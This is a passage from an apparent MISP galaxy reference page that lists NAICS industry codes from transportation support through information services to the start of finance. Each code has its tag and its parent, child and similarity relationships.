The tag is: *misp-galaxy:naics="488490"*

View relationships graph

488490 has relationships with:

- child-of: misp-galaxy:naics="4884" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48849" with estimative-language:likelihood-probability="likely"

4885

Freight Transportation Arrangement

The tag is: *misp-galaxy:naics="4885"*

View relationships graph

4885 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48851" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488510" with estimative-language:likelihood-probability="likely"

48851

Freight Transportation Arrangement

The tag is: *misp-galaxy:naics="48851"*

View relationships graph

48851 has relationships with:

- child-of: misp-galaxy:naics="4885" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488510" with estimative-language:likelihood-probability="likely"

488510

Freight Transportation Arrangement

The tag is: *misp-galaxy:naics="488510"*

View relationships graph

488510 has relationships with:

- child-of: misp-galaxy:naics="4885" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48851" with estimative-language:likelihood-probability="likely"

4889

Other Support Activities for Transportation

The tag is: *misp-galaxy:naics="4889"*

View relationships graph

4889 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48899" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488999" with estimative-language:likelihood-probability="likely"

48899

Other Support Activities for Transportation

The tag is: *misp-galaxy:naics="48899"*

View relationships graph

48899 has relationships with:

- child-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

488991

Packing and Crating

The tag is: *misp-galaxy:naics="488991"*

View relationships graph

488991 has relationships with:

- child-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

488999

All Other Support Activities for Transportation

The tag is: *misp-galaxy:naics="488999"*

View relationships graph

488999 has relationships with:

- child-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

491

Postal Service

The tag is: *misp-galaxy:naics="491"*

View relationships graph

491 has relationships with:

- parent-of: misp-galaxy:naics="4911" with estimative-language:likelihood-probability="likely"

4911

Postal Service

The tag is: *misp-galaxy:naics="4911"*

View relationships graph

4911 has relationships with:

- child-of: misp-galaxy:naics="491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="491110" with estimative-language:likelihood-probability="likely"

49111

Postal Service

The tag is: *misp-galaxy:naics="49111"*

View relationships graph

49111 has relationships with:

- child-of: misp-galaxy:naics="4911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="491110" with estimative-language:likelihood-probability="likely"

491110

Postal Service

The tag is: *misp-galaxy:naics="491110"*

View relationships graph

491110 has relationships with:

- child-of: misp-galaxy:naics="4911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49111" with estimative-language:likelihood-probability="likely"

492

Couriers and Messengers

The tag is: *misp-galaxy:naics="492"*

View relationships graph

492 has relationships with:

- parent-of: misp-galaxy:naics="4921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4922" with estimative-language:likelihood-probability="likely"

4921

Couriers and Express Delivery Services

The tag is: *misp-galaxy:naics="4921"*

View relationships graph

4921 has relationships with:

- child-of: misp-galaxy:naics="492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="492110" with estimative-language:likelihood-probability="likely"

49211

Couriers and Express Delivery Services

The tag is: *misp-galaxy:naics="49211"*

View relationships graph

49211 has relationships with:

- child-of: misp-galaxy:naics="4921" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="492110" with estimative-language:likelihood-probability="likely"

492110

Couriers and Express Delivery Services

The tag is: *misp-galaxy:naics="492110"*

View relationships graph

492110 has relationships with:

- child-of: misp-galaxy:naics="4921" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49211" with estimative-language:likelihood-probability="likely"

4922

Local Messengers and Local Delivery

The tag is: *misp-galaxy:naics="4922"*

View relationships graph

4922 has relationships with:

- child-of: misp-galaxy:naics="492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="492210" with estimative-language:likelihood-probability="likely"

49221

Local Messengers and Local Delivery

The tag is: *misp-galaxy:naics="49221"*

View relationships graph

49221 has relationships with:

- child-of: misp-galaxy:naics="4922" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="492210" with estimative-language:likelihood-probability="likely"

492210

Local Messengers and Local Delivery

The tag is: *misp-galaxy:naics="492210"*

View relationships graph

492210 has relationships with:

- child-of: misp-galaxy:naics="4922" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49221" with estimative-language:likelihood-probability="likely"

493

Warehousing and Storage

The tag is: *misp-galaxy:naics="493"*

View relationships graph

493 has relationships with:

- parent-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"

4931

Warehousing and Storage

The tag is: *misp-galaxy:naics="4931"*

View relationships graph

4931 has relationships with:

- child-of: misp-galaxy:naics="493" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49319" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493190" with estimative-language:likelihood-probability="likely"

49311

General Warehousing and Storage

The tag is: *misp-galaxy:naics="49311"*

View relationships graph

49311 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493110" with estimative-language:likelihood-probability="likely"

493110

General Warehousing and Storage

The tag is: *misp-galaxy:naics="493110"*

View relationships graph

493110 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49311" with estimative-language:likelihood-probability="likely"

49312

Refrigerated Warehousing and Storage

The tag is: *misp-galaxy:naics="49312"*

View relationships graph

49312 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493120" with estimative-language:likelihood-probability="likely"

493120

Refrigerated Warehousing and Storage

The tag is: *misp-galaxy:naics="493120"*

View relationships graph

493120 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49312" with estimative-language:likelihood-probability="likely"

49313

Farm Product Warehousing and Storage

The tag is: *misp-galaxy:naics="49313"*

View relationships graph

49313 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493130" with estimative-language:likelihood-probability="likely"

493130

Farm Product Warehousing and Storage

The tag is: *misp-galaxy:naics="493130"*

View relationships graph

493130 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49313" with estimative-language:likelihood-probability="likely"

49319

Other Warehousing and Storage

The tag is: *misp-galaxy:naics="49319"*

View relationships graph

49319 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493190" with estimative-language:likelihood-probability="likely"

493190

Other Warehousing and Storage

The tag is: *misp-galaxy:naics="493190"*

View relationships graph

493190 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49319" with estimative-language:likelihood-probability="likely"

51

Information

The tag is: *misp-galaxy:naics="51"*

View relationships graph

51 has relationships with:

- parent-of: misp-galaxy:naics="512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="516" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="518" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"

512

Motion Picture and Sound Recording Industries

The tag is: *misp-galaxy:naics="512"*

View relationships graph

512 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"

5121

Motion Picture and Video Industries

The tag is: *misp-galaxy:naics="5121"*

View relationships graph

5121 has relationships with:

- child-of: misp-galaxy:naics="512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51212" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="512120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512199" with estimative-language:likelihood-probability="likely"

51211

Motion Picture and Video Production

The tag is: *misp-galaxy:naics="51211"*

View relationships graph

51211 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="512110" with estimative-language:likelihood-probability="likely"

512110

Motion Picture and Video Production

The tag is: *misp-galaxy:naics="512110"*

View relationships graph

512110 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51211" with estimative-language:likelihood-probability="likely"

51212

Motion Picture and Video Distribution

The tag is: *misp-galaxy:naics="51212"*

View relationships graph

51212 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="512120" with estimative-language:likelihood-probability="likely"

512120

Motion Picture and Video Distribution

The tag is: *misp-galaxy:naics="512120"*

View relationships graph

512120 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51212" with estimative-language:likelihood-probability="likely"

51213

Motion Picture and Video Exhibition

The tag is: *misp-galaxy:naics="51213"*

View relationships graph

51213 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512131

Motion Picture Theaters (except Drive-Ins)

The tag is: *misp-galaxy:naics="512131"*

View relationships graph

512131 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512132

Drive-In Motion Picture Theaters

The tag is: *misp-galaxy:naics="512132"*

View relationships graph

512132 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

51219

Postproduction Services and Other Motion Picture and Video Industries

The tag is: *misp-galaxy:naics="51219"*

View relationships graph

51219 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512191

Teleproduction and Other Postproduction Services

The tag is: *misp-galaxy:naics="512191"*

View relationships graph

512191 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512199

Other Motion Picture and Video Industries

The tag is: *misp-galaxy:naics="512199"*

View relationships graph

512199 has relationships with:

- child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

5122

Sound Recording Industries

The tag is: *misp-galaxy:naics="5122"*

View relationships graph

5122 has relationships with:

- child-of: misp-galaxy:naics="512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512230" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="51224" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512240" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51225" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512250" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512290" with estimative-language:likelihood-probability="likely"

51223

Music Publishers

The tag is: *misp-galaxy:naics="51223"*

View relationships graph

51223 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="512230" with estimative-language:likelihood-probability="likely"

512230

Music Publishers

The tag is: *misp-galaxy:naics="512230"*

View relationships graph

512230 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51223" with estimative-language:likelihood-probability="likely"

51224

Sound Recording Studios

The tag is: *misp-galaxy:naics="51224"*

View relationships graph

51224 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="512240" with estimative-language:likelihood-probability="likely"

512240

Sound Recording Studios

The tag is: *misp-galaxy:naics="512240"*

View relationships graph

512240 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51224" with estimative-language:likelihood-probability="likely"

51225

Record Production and Distribution

The tag is: *misp-galaxy:naics="51225"*

View relationships graph

51225 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="512250" with estimative-language:likelihood-probability="likely"

512250

Record Production and Distribution

The tag is: *misp-galaxy:naics="512250"*

View relationships graph

512250 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51225" with estimative-language:likelihood-probability="likely"

51229

Other Sound Recording Industries

The tag is: *misp-galaxy:naics="51229"*

View relationships graph

51229 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="512290" with estimative-language:likelihood-probability="likely"

512290

Other Sound Recording Industries

The tag is: *misp-galaxy:naics="512290"*

View relationships graph

512290 has relationships with:

- child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51229" with estimative-language:likelihood-probability="likely"

513

Publishing Industries

The tag is: *misp-galaxy:naics="513"*

View relationships graph

513 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5132" with estimative-language:likelihood-probability="likely"

5131

Newspaper, Periodical, Book, and Directory Publishers

The tag is: *misp-galaxy:naics="5131"*

View relationships graph

5131 has relationships with:

- child-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51313" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="513130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51319" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513199" with estimative-language:likelihood-probability="likely"

51311

Newspaper Publishers

The tag is: *misp-galaxy:naics="51311"*

View relationships graph

51311 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="513110" with estimative-language:likelihood-probability="likely"

513110

Newspaper Publishers

The tag is: *misp-galaxy:naics="513110"*

View relationships graph

513110 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51311" with estimative-language:likelihood-probability="likely"

51312

Periodical Publishers

The tag is: *misp-galaxy:naics="51312"*

View relationships graph

51312 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="513120" with estimative-language:likelihood-probability="likely"

513120

Periodical Publishers

The tag is: *misp-galaxy:naics="513120"*

View relationships graph

513120 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51312" with estimative-language:likelihood-probability="likely"

51313

Book Publishers

The tag is: *misp-galaxy:naics="51313"*

View relationships graph

51313 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="513130" with estimative-language:likelihood-probability="likely"

513130

Book Publishers

The tag is: *misp-galaxy:naics="513130"*

View relationships graph

513130 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51313" with estimative-language:likelihood-probability="likely"

51314

Directory and Mailing List Publishers

The tag is: *misp-galaxy:naics="51314"*

View relationships graph

51314 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="513140" with estimative-language:likelihood-probability="likely"

513140

Directory and Mailing List Publishers

The tag is: *misp-galaxy:naics="513140"*

View relationships graph

513140 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51314" with estimative-language:likelihood-probability="likely"

51319

Other Publishers

The tag is: *misp-galaxy:naics="51319"*

View relationships graph

51319 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"

513191

Greeting Card Publishers

The tag is: *misp-galaxy:naics="513191"*

View relationships graph

513191 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"

513199

All Other Publishers

The tag is: *misp-galaxy:naics="513199"*

View relationships graph

513199 has relationships with:

- child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"

5132

Software Publishers

The tag is: *misp-galaxy:naics="5132"*

View relationships graph

5132 has relationships with:

- child-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="513210" with estimative-language:likelihood-probability="likely"

51321

Software Publishers

The tag is: *misp-galaxy:naics="51321"*

View relationships graph

51321 has relationships with:

- child-of: misp-galaxy:naics="5132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="513210" with estimative-language:likelihood-probability="likely"

513210

Software Publishers

The tag is: *misp-galaxy:naics="513210"*

View relationships graph

513210 has relationships with:

- child-of: misp-galaxy:naics="5132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51321" with estimative-language:likelihood-probability="likely"

516

Broadcasting and Content Providers

The tag is: *misp-galaxy:naics="516"*

View relationships graph

516 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5162" with estimative-language:likelihood-probability="likely"

5161

Radio and Television Broadcasting Stations

The tag is: *misp-galaxy:naics="5161"*

View relationships graph

5161 has relationships with:

- child-of: misp-galaxy:naics="516" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="516110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="516120" with estimative-language:likelihood-probability="likely"

51611

Radio Broadcasting Stations

The tag is: *misp-galaxy:naics="51611"*

View relationships graph

51611 has relationships with:

- child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="516110" with estimative-language:likelihood-probability="likely"

516110

Radio Broadcasting Stations

The tag is: *misp-galaxy:naics="516110"*

View relationships graph

516110 has relationships with:

- child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51611" with estimative-language:likelihood-probability="likely"

51612

Television Broadcasting Stations

The tag is: *misp-galaxy:naics="51612"*

View relationships graph

51612 has relationships with:

- child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="516120" with estimative-language:likelihood-probability="likely"

516120

Television Broadcasting Stations

The tag is: *misp-galaxy:naics="516120"*

View relationships graph

516120 has relationships with:

- child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51612" with estimative-language:likelihood-probability="likely"

5162

Media Streaming Distribution Services, Social Networks, and Other Media Networks and Content Providers

The tag is: *misp-galaxy:naics="5162"*

View relationships graph

5162 has relationships with:

- child-of: misp-galaxy:naics="516" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="516210" with estimative-language:likelihood-probability="likely"

51621

Media Streaming Distribution Services, Social Networks, and Other Media Networks and Content

Providers

The tag is: *misp-galaxy:naics="51621"*

View relationships graph

51621 has relationships with:

- child-of: misp-galaxy:naics="5162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="516210" with estimative-language:likelihood-probability="likely"

516210

Media Streaming Distribution Services, Social Networks, and Other Media Networks and Content Providers

The tag is: *misp-galaxy:naics="516210"*

View relationships graph

516210 has relationships with:

- child-of: misp-galaxy:naics="5162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51621" with estimative-language:likelihood-probability="likely"

517

Telecommunications

The tag is: *misp-galaxy:naics="517"*

View relationships graph

517 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5174" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5178" with estimative-language:likelihood-probability="likely"

5171

Wired and Wireless Telecommunications (except Satellite)

The tag is: *misp-galaxy:naics="5171"*

View relationships graph

5171 has relationships with:

- child-of: misp-galaxy:naics="517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517122" with estimative-language:likelihood-probability="likely"

51711

Wired and Wireless Telecommunications Carriers (except Satellite)

The tag is: *misp-galaxy:naics="51711"*

View relationships graph

51711 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

517111

Wired Telecommunications Carriers

The tag is: *misp-galaxy:naics="517111"*

View relationships graph

517111 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

517112

Wireless Telecommunications Carriers (except Satellite)

The tag is: *misp-galaxy:naics="517112"*

View relationships graph

517112 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

51712

Telecommunications Resellers and Agents for Wireless Telecommunication Services

The tag is: *misp-galaxy:naics="51712"*

View relationships graph

51712 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

517121

Telecommunications Resellers

The tag is: *misp-galaxy:naics="517121"*

View relationships graph

517121 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

517122

Agents for Wireless Telecommunications Services

The tag is: *misp-galaxy:naics="517122"*

View relationships graph

517122 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

5174

Satellite Telecommunications

The tag is: *misp-galaxy:naics="5174"*

View relationships graph

5174 has relationships with:

- child-of: misp-galaxy:naics="517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51741" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517410" with estimative-language:likelihood-probability="likely"

51741

Satellite Telecommunications

The tag is: *misp-galaxy:naics="51741"*

View relationships graph

51741 has relationships with:

- child-of: misp-galaxy:naics="5174" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="517410" with estimative-language:likelihood-probability="likely"

517410

Satellite Telecommunications

The tag is: *misp-galaxy:naics="517410"*

View relationships graph

517410 has relationships with:

- child-of: misp-galaxy:naics="5174" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51741" with estimative-language:likelihood-probability="likely"

5178

All Other Telecommunications

The tag is: *misp-galaxy:naics="5178"*

View relationships graph

5178 has relationships with:

- child-of: misp-galaxy:naics="517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51781" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517810" with estimative-language:likelihood-probability="likely"

51781

All Other Telecommunications

The tag is: *misp-galaxy:naics="51781"*

View relationships graph

51781 has relationships with:

- child-of: misp-galaxy:naics="5178" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="517810" with estimative-language:likelihood-probability="likely"

517810

All Other Telecommunications

The tag is: *misp-galaxy:naics="517810"*

View relationships graph

517810 has relationships with:

- child-of: misp-galaxy:naics="5178" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51781" with estimative-language:likelihood-probability="likely"

518

Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services

The tag is: *misp-galaxy:naics="518"*

View relationships graph

518 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5182" with estimative-language:likelihood-probability="likely"

5182

Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services

The tag is: *misp-galaxy:naics="5182"*

View relationships graph

5182 has relationships with:

- child-of: misp-galaxy:naics="518" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="518210" with estimative-language:likelihood-probability="likely"

51821

Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services

The tag is: *misp-galaxy:naics="51821"*

View relationships graph

51821 has relationships with:

- child-of: misp-galaxy:naics="5182" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="518210" with estimative-language:likelihood-probability="likely"

518210

Computing Infrastructure Providers, Data Processing, Web Hosting, and Related Services

The tag is: *misp-galaxy:naics="518210"*

View relationships graph

518210 has relationships with:

- child-of: misp-galaxy:naics="5182" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51821" with estimative-language:likelihood-probability="likely"

519

Web Search Portals, Libraries, Archives, and Other Information Services

The tag is: *misp-galaxy:naics="519"*

View relationships graph

519 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"

5192

Web Search Portals, Libraries, Archives, and Other Information Services

The tag is: *misp-galaxy:naics="5192"*

View relationships graph

5192 has relationships with:

- child-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="519210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51929" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="519290" with estimative-language:likelihood-probability="likely"

51921

Libraries and Archives

The tag is: *misp-galaxy:naics="51921"*

View relationships graph

51921 has relationships with:

- child-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="519210" with estimative-language:likelihood-probability="likely"

519210

Libraries and Archives

The tag is: *misp-galaxy:naics="519210"*

View relationships graph

519210 has relationships with:

- child-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51921" with estimative-language:likelihood-probability="likely"

51929

Web Search Portals and All Other Information Services

The tag is: *misp-galaxy:naics="51929"*

View relationships graph

51929 has relationships with:

- child-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="519290" with estimative-language:likelihood-probability="likely"

519290

Web Search Portals and All Other Information Services

The tag is: *misp-galaxy:naics="519290"*

View relationships graph

519290 has relationships with:

- child-of: misp-galaxy:naics="5192" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51929" with estimative-language:likelihood-probability="likely"

52

Finance and Insurance

The tag is: *misp-galaxy:naics="52"*

View relationships graph

52 has relationships with:

- parent-of: misp-galaxy:naics="521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
